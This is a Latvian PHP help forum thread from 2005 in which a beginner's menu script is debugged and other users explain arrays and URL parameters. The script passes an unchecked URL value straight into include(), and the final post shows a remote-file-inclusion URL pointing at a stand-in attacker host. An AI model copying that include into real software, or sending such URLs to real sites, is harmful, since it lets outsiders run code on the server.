Klokjis Posted May 19, 2005 Report Share Posted May 19, 2005 Reku saacis esmu maaciities PHP, bet tomeer rodas probleemas, un nav kam paliidziibu pajautaat, piem.: kods --> <? $d_handle = opendir("."); while(($f_name = readdir($d_handle)) != false){ if((substr($f_name,0,2) == "m_") And (substr($f_name,-3,3) == "gif")){ $m_arr = $f_name; } } closedir($d_handle); sort($m_arr); print ("<table align=\"center\" width=\"180\">\n"); while($m_item = each($m_arr)){ $len = strlen($m_item[1])-6; $m_item_id = substr($m_item[1],2,$len); print ("<tr><td align=\"center\"><a href=\"?id=$m_item_id\"><img src=\"$m_item[1]\" width=\"150\" height=\"30\" border=\"0\"></a></td></tr>\n"); } print ("</table>\n"); ?> </td> <td bgcolor="#ffffff" valign="top"> <? if (!isset($id)){ } else{ include ("$id".".inc"); } ?> // gribeejaas uztaisiit kaadu WEBu kas automaatiski pievieno failus, lai nav lieka chakareeshanaas... bet noraada 1. Wrong datatype in sort() call <<(kjipa rindinja - sort($m_arr); ) 2. Variable passed to each() is not an array or object <<(kjipa rindinja - sortwhile($m_item = each($m_arr)){ ) Kas tur vareetu buut par gljukiem? mosh vajag registred globals - on uzlikt? lai gan cik esmu lasiijis, tas nav ieteicams... Un veel arii domaaju, vai nevar kaut kaa kodu paarveidot, taa lai nevajag gifus pogaam, bet gan piem kods njem no txt faila kur ieraxtiic tieshi nosaukumt... nu vai tml. Link to comment Share on other sites More sharing options...
bubu Posted May 19, 2005 Report Share Posted May 19, 2005 Te tu mainīgajama $m_arr piešķir stringu $f_name, tātad tā tips būs string, nevis masīvs. Bet sort() funkcija sagaida parametrā masīvu, kas arī ir saprotams no kļūdas teksta "Wrong datatype..." (tas pats arī ar otro tavu kļūdu). Link to comment Share on other sites More sharing options...
NeoX Posted May 19, 2005 Report Share Posted May 19, 2005 Pirms While cikla pieskjir kaut kaadam mainiigajam veertiibu 0: $incr = 0; Un pashaa ciklaa beigaas uzraksti $incr++; tipa aiz visiem operatoriem, kuri tev ir tajaa ciklaa. Un tad kad tu tos stringus pievieno masiivaam raksti: $masivs[$incr] = <attieciigais strings>; Un viss, tad paareejais arii straadaas. Link to comment Share on other sites More sharing options...
NeoX Posted May 19, 2005 Report Share Posted May 19, 2005 es domaaju shitaa: <? $d_handle = opendir("."); $incr = 0; while(($f_name = readdir($d_handle)) != false){ if((substr($f_name,0,2) == "m_") And (substr($f_name,-3,3) == "gif")){ $m_arr[$incr] = $f_name; $incr++; } } closedir($d_handle); sort($m_arr); print ("<table align=\"center\" width=\"180\">\n"); while($m_item = each($m_arr)){ $len = strlen($m_item[1])-6; $m_item_id = substr($m_item[1],2,$len); print ("<tr><td align=\"center\"><a href=\"?id=$m_item_id\"><img src=\"$m_item[1]\" width=\"150\" height=\"30\" border=\"0\"></a></td></tr>\n"); } print ("</table>\n"); ?> </td> <td bgcolor="#ffffff" valign="top"> <? if (!isset($id)){ } else{ include ("$id".".inc"); } ?> Link to comment Share on other sites More sharing options...
bubu Posted May 19, 2005 Report Share Posted May 19, 2005 Var iztikt bez $incr: $m_arr[] = $f_name; Link to comment Share on other sites More sharing options...
Klokjis Posted May 19, 2005 Author Report Share Posted May 19, 2005 Nu nezinu... pameegjinaaju NeoXa variantu... neiet. tas pac! a kas iisti ir, nevajag tad tos G-Mainiigos aktivizeet?! Link to comment Share on other sites More sharing options...
Toms Posted May 19, 2005 Report Share Posted May 19, 2005 Iemaacies uzrakstiit kaartiigu virsrakstu savai probleemai, ok? Link to comment Share on other sites More sharing options...
NeoX Posted May 19, 2005 Report Share Posted May 19, 2005 Kaads te sakars globaalajiem? Man taa izskataas, ka tu gribi caur adresi nodot $id veertiibu! Bet apskatiities vinju var tikai darot shaadi: $id = $_GET['id']; Ar shaadu rindinju var dabuut mainiigo, kas ticis nodots caur adresi. Taalaak ar ieguuto $id vareesi dariit ko gribeesi! Bet atklaati sakot man izskataas, ka tas tavs kods ir pilns ar kljuudaam. Palasi taksh error mesidzjus. Ja es pareizi esmu sapratis, tad tu centies uztaisiit bilzju galeriju, kuraa defaultaa izvadaas visas bildes, kuras ir direktorijaa, bet uz taam uzpiezjot taas palielinaas! Tavaa vieta es netaisiitu while ciklu bet gan for, kursh iet no 0 liidz count($m_arr). Un es nesaprotu ko tu tur beigaas inkluudo pa *.inc failu??? Starp citu uz servera PHP skriptus nav iipashi gudri glabaat ar paplashinaajumu *.inc, es glabaaatu *.inc.php. Tu gadiijumaa PHP neesi maaciijies no beediigi slavenaas "PHP soli pa solim"? :) Link to comment Share on other sites More sharing options...
Klokjis Posted May 20, 2005 Author Report Share Posted May 20, 2005 esmu to booku lasiijis, bet tur ir webam automaatiskaa gjenereeshana... un to ka .inc nevajag lietot, to es zinu, jo .inc var nolasiit taapat... tapeec labaak .inc.php, jo to nevar tik vnk nolasiit... Link to comment Share on other sites More sharing options...
blackhalt Posted May 20, 2005 Report Share Posted May 20, 2005 if (!isset($id)){} else{ include ("$id".".inc"); } OMG ?id=http://hakorlapa.hack/evilphpcode Link to comment Share on other sites More sharing options...
Recommended Posts